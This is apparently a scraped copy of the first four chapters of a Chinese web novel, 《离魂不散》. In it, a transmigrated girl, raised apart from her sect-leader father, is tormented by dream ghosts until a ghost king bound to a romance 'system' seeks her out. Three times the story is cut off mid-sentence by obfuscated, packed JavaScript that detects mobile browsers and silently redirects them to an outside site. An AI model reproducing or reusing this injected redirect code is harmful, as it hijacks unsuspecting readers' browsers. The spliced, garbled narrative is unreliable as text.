《离魂不散》 1. 第 1 章(改) 十六年前,里云宫宫主白江老来得子,新添了一儿一女,本该是件喜事。 然而一位德高望重的命师给出预言,宣称,这对双生子的降生,是为不祥之兆。命师谦逊地表示,自己能力有限算不透天机,但他很肯定,必须断了两个孩子的兄妹缘分,留一个,弃一个。 民间也有类似的说法,双生子中的一个孩子是由妖怪幻化而来,相似的面孔是为了混淆人们的视听。 就算这种说法是无稽之谈,可命师给出的预言却是实打实的。 出于种种考量,宫主选择遵循预言的指示,将两个孩子分开抚养。 最终,宫主选择留下儿子,将后出生的女儿送养别处。 * 夜雨扰人清梦,淅淅沥沥的水声在檐下绵延。 屋内灯火如豆,借着微弱的光线,萧唤月披衣下床,推开窗。院中芭蕉叶一抬一落,一黑衣人乘风而来,脚尖轻轻点在叶上,又落在她窗前。 “怎么?” “没事,被雨声吵得睡不着......”萧唤月搭在窗沿上的手缩了回来,小心翼翼地:“我只是想开窗透口气,不知道你在外面。” 黑衣人脸上蒙着面巾,只露出一双狭长的眼。 他看着萧唤月,低声道:“正好,我有事要跟你说。” “什么?” “我要出趟远门,大概七天左右才能回来。” “去哪?” “与你无关。”他不愿透露自己的去处,只道,“这段时间,你自己注意安全。” 萧唤月目送他的背影远去,良久,收回目光,轻轻关上窗。 她和他其实并不特别相熟,真正面对面的次数很少。 六岁时她脚滑栽进池塘里,刚扑腾着吞了两口水,就被眼疾手快的黑衣人一把捞了起来。那是他们初次见面,他很不客气地把她提溜到岸边,在她肩头一按,用内力烘干了她被打湿的衣服。 彼时萧唤月才知道,自己身边原来蛰伏着这样一位高人。 他说自己是来自里云宫的修士,名叫东生,通常只在萧唤月遇到危险时才会现身。 关于她的身世,东生并没有瞒着她,初次见面时就坦诚相告:你是里云宫白江的女儿,因为一则预言,才被送养到此地。 这事她早就知道,闻言只哦了一声,低头看着自己的脚尖。若她真是个六岁孩童,闻此噩耗眼里恐怕应该掉下两串小珍珠了。可惜她是个穿越来的,六岁的壳子里住着高中生的灵魂,心理素质自然远超同龄小孩。 真要说起来,白江也不能算是她亲爹。她亲爹生长在现代社会的五星红旗下,现在应当正在电视机前蹲守八点档肥皂剧。 而她本该在亲爹身边的沙发上抠脚嗑瓜子,谁能料想一个呼吸间的工夫,竟魂穿进了恢诡谲怪的异世界,睁眼时屋里一个老头正颤颤巍巍指着她:“双生子,不祥之兆啊!” 她偏头一看,身旁是和自己一母同胞的哥哥,在襁褓中睡得正香。 那时她受婴儿身限制,头脑和意识都不太清明,但对于那则预言,她有个大概印象,因此也知道,就身世问题而言,东生并没有诓她。 她曾经问过东生:“既然里云宫抛弃了我,为什么还派你来保护我?” “不知道。” 听东生冷硬的语气,他对保护萧唤月这桩差事似乎颇为不满。他反问她:“心存希望么?觉得白家有朝一日会接你回家?” “......并没有。” “在修仙界,若是有天赋的孩子,到你这年纪都该结丹了,而你却在凡界磋磨时光。你当真甘心?” “那有什么办法,你不是说,白宫主同修仙界各门各派通过气,不让人家收我为徒嘛,难道你能替我打点关系走后门?” “不能。” “那说这些有什么意义。” “哼。”东生睨她一眼,“话虽如此,我看你住在这儿,也没不乐意。” “我在十燕城过得挺好,养父母事事以我为先,吃穿用度从没少过我。” “没出息。” “怎样,我就是这般毫无志向,风把我送到哪里,我就在哪里扎根。”她声调起伏得夸张,手腕托腮,微微笑着,颇有些阴阳怪气的意味。 起先,萧唤月不明白东生对她没来由的敌意源出何处,后来回过味儿来,猜测东生或许是怨她拖累了他的自由身,他本大有天地可驰骋,却受命在这儿照料一个毫无修为的小姑娘。 他对她有怨言,自然不会看她顺眼。 如今有机会“出远门”,东生必定是乐意之至。 萧唤月也替东生高兴,他终于能喘口气,不用留在这儿跟她相看两厌了。 她想起他走时最后的那句话——“注意安全”。 这句叮嘱有些多虑。 十燕城乃郯国国都,民安物阜。生活在此地,遇到危险的机会属实寥寥。她小时候落水纯属是自己作死,要去捡掉落在池塘里的风筝,却错估了自己六岁的身手。 总而言之,比起刀光剑影的修仙界而言,这里安祥得很。 东生一走,院中的落叶变少了。 平日里这人闲着没事就爱揪叶子玩儿,那株橘子树让他给揪得光秃秃,一连好几年都没结过果,害得萧家父母以为这树染了虫灾,换了土也不管用,只好随之任之了。 夏季多雨,偶尔有飘零的树叶落了地,还没来得及扫走,就被雨水打得和泥土混成一团,做了花肥。 萧唤月坐在檐下,望着连绵不绝的雨幕,目光渐渐失了焦。 从树叶掉落的数量来判断,东生似乎还没有回来。 这是他离开的第十五日了,远远超过起初说的七日之限,兴许是被什么事绊住了手脚。 不回来最好......如果他一直待在这儿,她也会不自在。 他那样好的身手,令她艳羡。 东生的存在时时刻刻提醒着她,这世界还存在光怪陆离的另一面,有待探寻。 像是一块吊在嘴边的肥肉,看得见,吃不着。穿进修仙世界却不能修仙,说不遗憾是假的。 唉。她轻轻叹了口气,忽然感到手背一凉,一碗盛了冰块的水果递到她手边。 她转头,嘴角浮起笑意:“娘?” 心头的燥热霎时被驱散了大半,丝丝凉意贴着手背往皮肤里钻。夏季闷热的潮湿感突然褪去了,娘身上的兰草香气好闻又清爽,包裹住了她。 “虽然落了雨,可外头还是很闷热。”云婉挨着她坐下,亲亲热热地揽住她的肩膀,“乖女,怎么在发呆?看娘给你带了什么好吃的。” 她一本正经:“娘,我在赏雨。” “赏雨好。”云婉给予肯定,“那些才子诗人,就喜欢赏雨,边赏雨边作诗,有意境。” “哈哈。” 她可不会作诗,但云婉没有继续谈论这个话题,拿木签子戳了块水果,喂到她嘴边。 “你爹爹在胡商那儿新进了一批果子,一路用冰块捂着运过来,新鲜得很。怕下人偷吃,娘亲自去小厨房切好给你送来的,尝尝?” 金黄色的果肉入口甘甜,唇齿留香。 吃完了半碗,她意犹未尽地舔了舔唇,把碗推回去,“娘也吃。” 她养父萧吟山,少年时期一穷二白,日子并不好过。云婉年轻时跟着丈夫一块儿吃过不少苦,冬天干活累坏了身子落下病根,再难孕有子嗣,因着这份情谊,即便后来发家致富,萧吟山也不曾起过纳妾的念头。 十六年前,已经落户十燕城的夫妻俩在门口捡到一个无家可归的女婴。他们发了善心,将女婴抱回家,当亲生女儿一般抚养她长大成人。承蒙老天垂怜,如今也能享一享天伦之乐。 这女婴自然就是萧唤月。 “爹爹这次回来,让他在家里多住些日子吧?”萧唤月提议,“那些生意往来,手底下的人也能帮忙打点,总不能事事都让爹亲力亲为。四处奔波,太累。” “你又不是不知道,你爹那个谨小慎微的性子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧唤月被埋在云婉的衣袍里喘不过气,挣扎着露出头来,哭笑不得:“娘!” * 到了九月初三,气温明显降低许多,雨水也不再丰沛。枝头树叶由绿转黄,卷了边,轻飘飘打着旋掉下来,院中更显萧索。 寒露将至。 东生一走就是俩月,萧唤月疑心他不会再回来了。 他的离开没有掀起任何波澜,萧唤月的生活平静无波,一切照旧。但这人毕竟曾对她有相救之恩,她既然帮不上他什么忙,就只能遥祝他一切顺利。 可时间久了,她已经不大能想得起来这位黑衣客的存在,只在见到落叶飘零时,才顺势回忆起他来。萧唤月脑海中,连他样貌都是模糊的,因为他始终不曾以真容示人。 又过了十日,蛾眉月变满月,黄澄澄挂在天上,好似一张焦香烙饼。 “又是月圆之夜啊。” 她倚在门口望了望天色,突如其来的一阵夜风钻进衣领,令她打了个寒颤。 在满月夜,她向来是习惯早睡的。回屋熄了灯,钻进被窝里,把四个被角掖得严严实实,再将自己裹成蚕蛹,才算有安全感。 小时候,萧唤月常做噩梦。形形色色的妖魔鬼怪在梦境中对她追杀围剿,而她想要逃跑时怎么也迈不开步子。醒来后总是大汗淋漓,耳鸣目眩,像真经历了一场大逃杀似的。 东生说,那是因为她不懂得如何运气调息,身体却在自发吸纳灵气。部分灵气入体后转化为灵力,无法被储存在丹田内,便又溢出体外,引得弱小的鬼怪寻迹而来,苍蝇般围在她身边觊觎窥伺,想趁她精神薄弱之时吸食灵力。 东生嗤笑:“没什么可怕的,都是些不成气候的小鬼,只敢在梦里作威作福。” “为什么单单就我被盯上?” “因为你根骨......”他像是被噎了一下,“根骨劣,无仙缘,人也格外倒霉些。” 东生大发慈悲,送了她一块辟邪的玉佩,说压在枕头下,便可防噩梦侵扰。” 可这法子也并非一劳永逸,偶尔还是会有厉害些的小鬼,趁月圆夜阴气充裕的时候来钻空子。好在这种频率程度的烦扰,还算可以忍受。 据萧唤月的经验而言,早睡也能在一定程度上防止鬼怪侵入。 此刻离子时尚远,它们还没有真正活跃起来。 入睡前她祈祷:希望今夜能睡个好觉。 2. 第 2 章(改) 萧唤月在梦中的小路上踽踽独行。 她并没有意识到这是自己的梦境,一门心思往未知的荒域里钻。 这种时候黑暗令她安心,在越黑的地方,她被发现的可能性就越低,虽然反过来也是一样,她视线受阻,无法准确判断周围的环境情况。 但很确定的是,有东西跟在她身后,紧随将至。 隐隐可以听到身后那阵粗重的喘息声,仿佛下一刻,带着热气的呼吸就会喷在她的后颈上。 她不自觉加快了脚步,不敢回头,心里慌得厉害。 好像已经跑了很久了? 这个念头刚起,她的嗓子眼儿里就漫上一股淡淡的血腥味,那是剧烈运动后会出现的状况。她咬牙压下那股反胃感,心道马拉松比赛都要持续好几个小时,她这点运动量还远远没超过人类体能极限呢。 继续跑! 耳边响起若隐若现的唢呐声,她心头一凛——难道附近有人家?不应该啊,沿途尽是草木荒地,不见河流,不见房屋,更不见炊烟人影。 漆黑又平静的夜色中,唢呐声尤显突兀。 她始终不曾停下脚步,可这条路没有尽头。雾影重重,湿润的风钻进口鼻,连带着心肝肺脏都难受起来。 唢呐仍然没有消失,一声接着一声。明明是高昂欢快的调子,在她听来却宛如催命的丧钟。 “迎新娘入轿!” “迎新娘入轿!” “迎新娘入轿!” 尖细的长音刮过耳侧,昭示着身后的东西已经追上了她。在极端惊恐之下她终于回过头去,看到了一双浑浊的黄色眼睛——带着显而易见的恶意与贪婪,无情地瞄准了她。 那双眼睛的主人嘿嘿一笑:“好夫人,你不跑了。” 它……应当不能算作是人类。五官四肢通通没有长在该长的地方,眼鼻嘴像是硬生生被戳进了蜡黄的面皮里,手脚则像木枝般支棱在它圆滚滚的身体两侧。 即便它竭力拼凑出扭曲的人形,但非人特征依旧很明显。 萧唤月被这东西丑了一大跳,心中一紧,忍不住往后退了半步。恰好踩中一块石头,身形一歪,差点摔倒在地。 在被绊住的那一瞬间的失重感中,她神思陡然清明过来。 用力眨了眨眼,后知后觉明白过来当下的状况—— 做噩梦了啊。 她深吸一口气,暗骂了声今夜倒霉。 陷入梦魇,一时半会儿醒不过来的。 不过按以往经验来说,这些小鬼也不能真正拿她怎么样,只能对她进行精神层面的污染,烦人得很。 她的心跳渐渐平复下去。 既然知道了自己身在梦中,所见所闻皆是幻境,那阵对未知的恐慌感便也消散了。只是,独自面对这可怕的鬼玩意儿,依然瘆得慌。 她扭头不去看它。视线一转,这才注意到,身边不知何时多了一顶灰白色的纸皮花轿。两团长了脚的黑烟一前一后,稳稳地抬着轿子朝她走来,轿帘前挂着一枚小巧的骷髅头。 鬼东西们这次又在搞什么花样?她不解。 那扭曲的人形抬手指着轿帘上的骷髅头,语气竟然有些羞涩:“那是我真正的头,平常不轻易示人。” 萧唤月:? 她奇怪地看了它一眼,立马又闭上眼睛。这次的小鬼好像有点脑子,还能跟她对话。 从前的噩梦里,情境相对单一,多是在沉默中展开你追我逃的行动,或是各种突脸,围堵,来来回回就那些手段。 “我死很久了,人间的成婚礼节,不太懂。”它询问道,“一切从简,如何?” ......它说成婚。 萧唤月抽了抽嘴角,不知怎么回应,干脆懒得说话,沉默到底。 “轿子给你准备好了,唔,至于婚房,就用你自己的房间将就一下。” “听说还要点蜡烛,嗯......你房中用的是油灯,没有蜡烛,那这一项先略去。” “重要的是拜堂。可是我早不记得父母是谁了,这样吧,不拜高堂,只拜天地。” ...... 这只鬼实在有点毛病。吸点灵气就得了,居然想着要跟她拜堂? 整了这么顶不三不四的花轿,又雇了俩鬼小弟吹唢呐,荒诞中透出一丝严谨,看得出它颇为上心。但再上心,萧唤月也不可能坐上一只野鬼的花轿。 况且,她怀疑自己要是真坐进去,那纸皮轿子立马就会被压塌。 可惜,在被入侵的梦境中,萧唤月无法全权掌控自己的梦,做不到言出法随。 要是能变出两门迫击炮来就好了......她有一搭没一搭地想,给这小鬼试试物理超度的滋味。 “怎么不说话呢。”它很没眼力见地凑到萧唤月跟前,“成婚后你可以与我一同去鬼界生活,我们二人不会分居两地,这方面你不用有所顾虑。” 萧唤月有些无力道:“......好了,我们还是来玩那个你追我赶的游戏吧。” “你喜欢那样?” “不喜欢。”但总比听它喋喋不休来得好。 “那为什么要玩,不如待在这儿同我说说话。你要是累了,还可以坐轿子。” 萧唤月坦诚道:“你的轿子,我不喜欢。你说的话,我也不喜欢。你,我更不喜欢。” 它眼珠一凸,牙关咔咔作响,模样变得更加恐怖。 盯了萧唤月半晌,确认她说的是真心话后,那鬼语带怒意道:“你这不知好歹的......” 这句话它没能说完。 因为天色骤变,一道响雷在云层间炸开,带着惊人的气势,将它的声音吞了个干净。 雾气退散,夜幕颜色由深转浅,天空总算亮堂起来。雷声过后,下起小雨。水滴砸在地面,绽出一片低矮的伞状小水花。 萧唤月站在水花丛中皱起眉头:啊,又有人挤进她梦里来了。 地上蓄起水洼,倒映出来人的身影。 与那蜡黄皮的小鬼不同,这位新来的访客看上去很有人样。 那是个外貌年纪约莫十八九岁的少年,一身鸦青色劲装,蹀躞在腰间束得很紧,直直站在她面前,身形线条利落得像一幅写意山水画。 少年漆黑的眼珠里没什么生气,似雨夜潮湿的天空,了无一物,却泛出缥缈的水色。 一种空洞的美丽。 过于苍白的皮肤让此人看起来平添了几分阴郁之色,一副缺乏日照的模样。让人不自觉联想到冬日的白芦花,冷而萧索。 他目光触及萧唤月的一瞬间,那双无机质玻璃珠般的瞳仁里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206652|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却忽然挣扎着跃出一点生机来。 他极为认真地端详起她,半晌,面上竟然露出如释重负的神情,满意道: “找到你了。” 萧唤月闻言有些摸不着头脑,指了指自己:“我?” 少年点头:“你。” 旁边的蜡皮小鬼却变了神色,五官颤动着,一只眼睛蹿到了鼻子下面。本就可怖的面容更加扭曲了,像个被揉成一团的黄纸球。 “大……大人。”它半是讨好半是谦卑地跪倒在地,视线里只剩下少年的长靴。“您怎么会来到这里。” 少年目光转向它,冷哼一声:“我不能来?” “这……当然可以。”它送上马屁,“天上地下,您哪个地方都去得。” 目睹了蜡皮小鬼面对自己与这少年时截然不同的两副态度,萧唤月心中琢磨,这少年似乎地位不低。小鬼叫他大人,那么他可以算作是它的上级老大? 萧唤月大惊,这岂不是说明少年也不是人类?很大可能,面前两个全都是鬼。只不过其中一个道行更深,修出这样一张美丽皮囊,迷人心智。 并不知道萧唤月脑补了什么,少年对蜡皮鬼不耐烦道:“你有通行牒吗?” “没……没有。” “私自出界,违反了规定。” “是,是。”事实摆在面前,它不否认。 少年认真道:“你现在就回油锅领罚去,要炸至两面金黄,才可以让鬼差把你捞出来,明白吗?” “大人……”请求饶恕的话到了嘴边又被吞回去,它想起来在这人面前求饶是没用的,咬牙道,“明白。” 不如乖乖听话,免得罚上加罚。 少年嗯了一声,看见那顶纸皮花轿:“这什么东西?” 抬轿的两只小鬼已经化作黑烟飞回蜡皮鬼身边,从它的七窍中钻了进去。原来这是它放出去的分身,除了帮忙抬轿撑场子之外,并不具有什么实质性功能。 蜡皮鬼老实回答:“娶新娘用的花轿。” “你娶新娘?哪来的新娘。” “自然,现在是娶不了了,她看上去不乐意做我的……”更别提它还得回去受罚,指不定会被炸成什么丑样子,她要是看到,一定不会喜欢。 想到此处,它颇为遗憾地看了一眼萧唤月。 少年顺着它的目光看过去,一愣。随后大怒:“你!下油锅炸两次,炸至两面焦黑,没焦黑不准出锅。” 蜡皮鬼:“……?” 不知哪里踩到了大人的红线,它很惶恐,把头埋得更低。眼珠乱转,两排牙间发出铿铿的碰撞声,却始终不敢开口求饶。 它觉得自己很倒霉,在鬼界老实本分了许多年,难得偷摸出来一次,碰见这么个灵力澄澈的小姑娘,本来想吸一口就离开,可打眼一看,她长得实在很合它心意,这才起了同修的念头。 ……啊,莫非大人十分痛恨好色之徒? 心下有了猜测,它也不敢细问,只低头称是,表示自己愿意领罚。希望行刑的鬼差能手轻些,别把它好不容易贴上去的眼睛鼻子给炸没了。 少年一挥手,这本就千疮百孔的梦境立时坍塌。 一阵短暂的晕眩后,萧唤月真正睁开了眼睛。天边已经泛出鱼肚白,隐约可以听见窗外布谷鸟的鸣叫。 3. 第 3 章(改) 鸦青色衣服的少年站在她床前,一动不动盯着她垂在床边的那只手,目光有些放空。 窗缝里有光透进来,打在他发丝上,镀了层清浅的金边。 见到萧唤月睁眼,他咳嗽一声移开视线:“你醒了。” 萧唤月只觉得脑子里针刺般疼痛,撑着手臂慢慢坐了起来。梦境中种种细节浮上心头,蜡皮鬼痴心妄想,到头来也是个一戳就破的纸老虎,天一亮,就不知道躲哪去了。 但仔细想想它算是纸老虎中的佼佼者,至少还能绕过玉佩强行入梦......心念所至,她突然掀开枕头看了看。 几块碎玉映入眼帘。 她大惊失色,一把捧起碎玉,磨挲着断面难以置信:这玩意儿没能承受住刚才的噩梦,居然碎了? 怎么会这样! 多年来她就是靠着这东西才躲过了噩梦侵扰,虽说不能做到百分百有效防护,但它绝对是不可或缺的一枚宝贝!以后可怎么办,东生都走了,没人能给她补货啊。 见她满脸痛惜如失至宝,少年好奇地凑了过来。看到玉佩碎片,他轻啊了一声:“去寺庙里求个开光的护身符,效果跟这个一样的,还不容易碎。” 她下意识回应:“当真?” 神思归位,她后知后觉地反应过来,房间里还有个陌生少年的存在。 少年这张脸她自然是有印象的。 干净白皙,端秀昳丽,远不如梦中的蜡皮鬼那般可怖。这在一定程度上降低了萧唤月的戒心,但都说人不可貌相......况且面前这位是不是人还尚未可知。 她警惕地审视着他。 若他是游荡而来的鬼魂,天已经亮了,为什么还停留在此? 她又想:这少年连阳光都不惧,如果是鬼,必然是修为极深的厉鬼。 少年说:“真的,我没骗你,这玉佩不是什么上等宝贝。” 萧唤月有些紧张,胸口微微起伏,攥紧了被角。但事关玉佩她不得不上心,忍不住接着这话道:“可我以前去庙里求过护身符,没什么作用。” “说明你买到假货了。”他笃定,“没开过光,却骗你开了。” 她赧然:“啊。” 叹了口气,只好暂且接受这说法。 眼下不好继续再在玉佩问题上钻牛角尖,她定了定神,把注意力转移到少年身上。“还有个问题,您是......” 少年立马接口:“我是言隐!” 言隐。两个字在她舌头上悄然走了一遭,是某官职名,还是别的什么? “难言之隐的言,难言之隐的隐。”少年指着自己,“我的名字。” “哦——”她恍然大悟,“言公子。” “直接叫名字就行。”顿了一下,他又补充,“也不要称呼我为‘您’。” “好的......言隐。” 其实她本来想问,他是人还是鬼? 思索一番,她换了种更迂回的问法:“梦里那只小鬼,跟你是什么关系呀,它看上去很害怕你。” 言隐:“不熟,非亲非故。硬要说跟它有什么关系的话,那就是我能管它。” 萧唤月听懂了:“你是它老大。” “可以这么说。”他坦然道,“毕竟我是鬼王嘛。” “鬼什么?” “王。”言隐伸手在空中比划,“三横一竖。” “!” 原来是这种程度的鬼界大佬吗?! 她倒不是没听清,只是初时有点懵。意料之外,眼前人的来头比她想象得还要大。 于是萧唤月看向他的目光中不自觉多了几分肃敬,连腰板都挺直了。她心想,鬼王在鬼界的地位,岂不是相当于皇帝之于人间?在他面前还是不要太过随意了。 “捉弄你的那只鬼已经回去领罚了。你解气么?” “我当然没异议的。”她连忙表明态度。 她的呼吸重了些,不太敢直视他,眼神飘忽不定。 察觉到了萧唤月神态上的细微变化,言隐这边不禁纳闷:是不是不该直接表明身份?她听到他是鬼王,变得更紧张了。 脑海中一道冷冰冰的电子音响起:【也许你该迟些说的。】 “鬼王这名号她不喜欢么,”他沮丧,“还以为能加分呢。” 【不。】系统冷酷地表示,【事实上,你在她心里的好感度甚至还降低了。之前是3,现在是2。顺带提醒,我们的好感度评分是百分制,望宿主再接再厉。】 “难,好难!”他在心里抓狂,“究竟该怎么做,给点建议如何?她看上去心防好重。” 可系统已经彻底安静下去,不再吱声。对此言隐也习惯了,装死嘛,系统的拿手好戏。 多年前他刚穿越到这里时,就绑定了这个所谓的“女配攻略系统”。顾名思义,这里是书中世界,而他的任务,就是攻略这本书的女配。 按照剧情,女配也是个穿越者,但她跟言隐的来处并不相同。世界之外还有世界,她的穿越只是书中的剧情点之一,无论是穿越前还是穿越后,她的生活轨迹都包含在此书之中。 剧情写,女配胎穿成了东极岸里云宫的大小姐。由于穿越前后生活环境前后差距巨大,她习惯了自由行事,便无法忍受法纪森严的里云宫与控制欲极强的父母,于十六岁那年愤而出走,遇到了在外执行任务的玉胥宗弟子,男主昭意。 两人意趣相投一路同行,期间她对昭意的感情从欣赏到喜爱,到最后情深不可自拔。可惜本书给她的人物定位只是深情女配,即便为男主付出一切也只能换来一句“你是个好人”。 结局,她在与妖族的斗争中为男主挡伤身亡,其实是心灰意冷,试图一死以求解脱,回到穿越前的那个世界。 言隐没看过这本书,对相关剧情的了解全凭系统口头描述。由于他的任务只是攻略女配,便只了解了与她有关的剧情。听到这个结局后,他的关注点立刻走偏:她死了真能回去? 系统:【不知道,书里没有写明。】 好吧。他收起了走歪门邪道的心,还是决定老老实实攻略女配,用完成任务的积分兑换回家的机会。 然而系统在发布完任务后不久,居然万分歉意地表示,主系统那边出了故障,导致投放时间点错误,攻略对象还没出生呢。 言隐没好气地翻了个白眼:“那她什么时候出生?我需要等多久?” 【大概……百来年。】 告知完这个噩耗,系统就声称要回去报错,从此人间蒸发,再无声讯。 言隐憋着火等了又等,若不是因为在人间挣得一场机缘,修成了仙身,他恐怕就要老死在这儿了,系统找鬼做任务去吧。 当然,为了那场机缘,他付出的代价真不小......在人间那些日子,光是回忆起来都想皱眉头。 造化弄人,后来他真成了鬼——都怪垃圾系统一去不回,他一直挂念着那攻略对象的结局,在又长又寂寞的时光里等得没了耐心,干脆效仿书中那女孩,剑走偏锋铤而走险,美滋滋地自杀了。 很遗憾,没能回家。 可他意外发现死后的世界也挺有意思。华灯红烛,断桥乱坟,繁华与荒凉交织,显现出糜乱的破败。鬼城中叫卖的商人上一秒还在热情推销,下一秒就可能张开八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206653|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张嘴把掏钱的客人吞吃下肚。 比在人间的时候有趣得多。 想要在这里生活就不得不打起全部精神,因为逗留在此地的全都是不能或不愿投胎的恶鬼。 幸而他做人做魂都精彩,打架天赋没有随着死亡而消失。放弃投胎后他花了些时间重新修出肉身,又是一枚鬼中好汉。 这具新身体不是肉胎孕育而成,少了活人气,却结实很多。 鬼界奉行弱肉强食,暴虐成性的老鬼王在他手下灰飞烟灭,他自然而然接任了新任鬼王。 用拳头说话他倒擅长,可让他治理鬼界......冥思苦想了半天,言隐只能参照以前小区墙上张贴的《治安管理条例》,默了几条出来张贴在城门中央,再辅以强硬手段镇压,城中乱象居然改善不少。足以证明以前大家是多么地目无法度,仅仅是“禁止聚众斗殴,违者下锅”这一条,就让常年冷清的油锅地狱中鬼满为患。 时间一久,鬼王也做得有些腻了。 言隐的脑子久违地再次转动起来,心想,自打穿越到这儿,这么多年,不是在干架就是在干架的路上,连思考人生的时间都没有,简直白活! 还是想念自己那个时代啊。一场又一场考试充实着他的生活,让他的脑子始终能够保持思考状态。那种费尽心机却只能考到二十分的感觉令他着迷,每一次月末考试放榜于他而言都极具挑战性! 要不再死一次?鬼死了会变成什么他不知道,但已经忍不住跃跃欲试了。 在言隐就要把斩魂刀架上脖子之前,沉寂已久的系统终于出现,连连发出警报,滴滴声在他脑中响个不停。 【住手!】 “?”他冷笑一声,放下刀,“稀客啊。” 【......听我解释。】 据系统所说,它几年前就回来过,惊觉此书剧情线居然出现了偏移,本该生活在里云宫的白月不知所踪,导致攻略任务无法顺利开展。它本想用天眼权限查出白月的位置,可在这个世界它与言隐积分共享,任务进度还停留在零,压根没有足够的积分能兑换天眼权限。 于是它只能回主系统那边打报告写申请,一叠一叠的材料交上去,才总算获批,拿到了为时三十分钟的天眼权限,成功探查到攻略对象的信息。 系统冷冰冰的电子音一如既往,但声量气势明显弱下去不少,说到最后,跟蚊子哼哼似的。 【她如今十六岁,人在十燕城,不叫白月,改名为萧唤月了。】系统给出信息:【剧情发生偏移,她生活在世俗界,应该没机会遇见男主昭意。所以,从某种程度上来说,你攻略她的成功率上升了。】 “你要是早点告诉我这事,我未必找不到她。”言隐面露不满,“啧......算了。” 想了想,就算几年前找到了萧唤月,他也不可能跟在几岁的小姑娘屁股后面跑,那不成带孩子了吗。 系统:【急着回那边打报告,没想到会耽误这么久。】 “你们那边破事真多。” 这场延时多年的攻略行动终于拉开序幕,喜大普奔。 然而出师不利,言隐刚见到攻略对象第一面,就在激动之下说漏了嘴。 且由于事出突然,他准备得不够充分。曾特意阅览过的《姑娘们的心事》《爱情宝典》之类的内容也早已忘了个精光,撩人手段更是约等于没有。能有个位数的好感度,全凭脸长得好。 此时此刻,他那敏锐的攻略对象正在小心翼翼地询问他: “您之前在梦里说,找到我了——是什么意思?” 言隐心中咯噔一下,暗自悔恨,这张嘴怎么就藏不住事? 4. 第 4 章(改) “意思是,我刚来这里就察觉到鬼气,找了半天,总算找到源头在哪了。”言隐面不改色地糊弄过去,“幸好没出大事。” 萧唤月肩膀抵着床柱,想到什么,忽然精神一振:“这不是第一次了,以前我常做噩梦。” “我倒不怎么做梦......”说完他又后悔,这接的什么话?应该安慰她才对吧。 可他向来不擅长哄人开心,聊表安慰的话该怎么说,一点没头绪。 而且,如果要一直这么谨小慎微地讨好眼前的陌生人,扪心自问,他真能做到吗?人家渴了他递水,人家累了他捶背,人家一生气他立刻惶恐并低头反思......那不就是来当仆人的。 他还不得不揣度她每一个表情每一句话,唉,他最不擅长这个了。 他有些烦躁起来,觉得这事比想象中难得多。 是场持久战啊。 抬眼对上萧唤月有些怯怯的目光,他暗暗叹气。 有风从窗缝里挤进来,床幔被吹得轻轻晃荡。 萧唤月脸上忽明忽暗,眼底有淡淡乌青。她昨夜没睡好,显得有些憔悴,一头泼墨长发也未绾起,略微凌乱地垂在肩侧。 半埋在阴影中,冶艳明丽的一张脸,却因精气神不足,平添几分孱恹。 顶着这幅尊容待客示人其实不大合礼数,但没办法,一睁眼就看到言隐站在床边,她实在找不到机会整理仪容仪表。 言隐盯着她,有些恍惚。他意识到她其实长得很美,方才在梦中雨雾蒙蒙,隔着虚缈的水汽,他都没能看得太清楚。 房间中飘荡着似有若无的花果香,桌上还摆了几样零嘴儿。窗边斜放一截花枝,结了露,花瓣在初晨的微风中摇曳,沾湿窗棂。 处处是她生活过的痕迹。 他置身其中,久违地体会到一丝活人气,想:鬼界可没有这么暖和。 心中郁结的那口气忽地散去了。 他想,这个任务还是得继续做。 可以失败,但不能放弃。毕竟他的字典里,没有认输这两个字! 而萧唤月对他起伏跌宕的心路历程一无所知,自顾自继续问道: “以前侵入我梦中的那些小鬼,都是私逃出来的么?您这次来到这里,是为了将它们一网打尽,全都抓回去?” “不要说‘您’。”他反应很快地抓住某个字眼。 “......好的。” 他这才肯回答她的问题: “鬼想去往人界,需持有通行碟,且只能从酆都境内设立的鬼门关出去。怨气深重的,有害人之心的鬼,是拿不到通行碟的。但偶尔也会有漏网之鱼,寻到阴阳两界间的缝隙,逮到机会偷溜出去。若有巡视的鬼差看到了,会把它们押送回鬼界。可是,这种现象屡禁不止,抓不完的。” 萧唤月听得认真:“这么说来,骚扰我的那些家伙,都是‘漏网之鱼’了。” “也可能是没入案的孤魂野鬼。” 说到这里,言隐咂摸出一丝不对味来。阴阳两界间的缝隙多位于群山背阴处,深潭枯井中,人烟稀少地。 而人间帝王建都之地,有龙气庇佑,生出阴阳裂隙的可能性极低,按理说不该有这么多鬼物作乱。 况且他自认对鬼的生活习性还算了解,十燕城这种地方,不会是它们喜欢的去处。 “这事好像不对劲。”他低声喃喃,“我要出去一趟。” 萧唤月耳朵尖,听见他说要走,暗暗松了口气。他待在这里让她很有压力,姿态始终不敢放松。而且再过一两个时辰,娘可能会来找她吃茶,到时可没法解释,为何房里会多出个陌生男人。 言隐转身,走了两步,又回来:“今晚,我再来找你。” 萧唤月怔然抬眼:回来找她做什么?他们之间还有什么事情没解决吗? 她的疑问尚未来得及问出口,言隐的身影便突兀地消失在原地,连片衣角也不见。 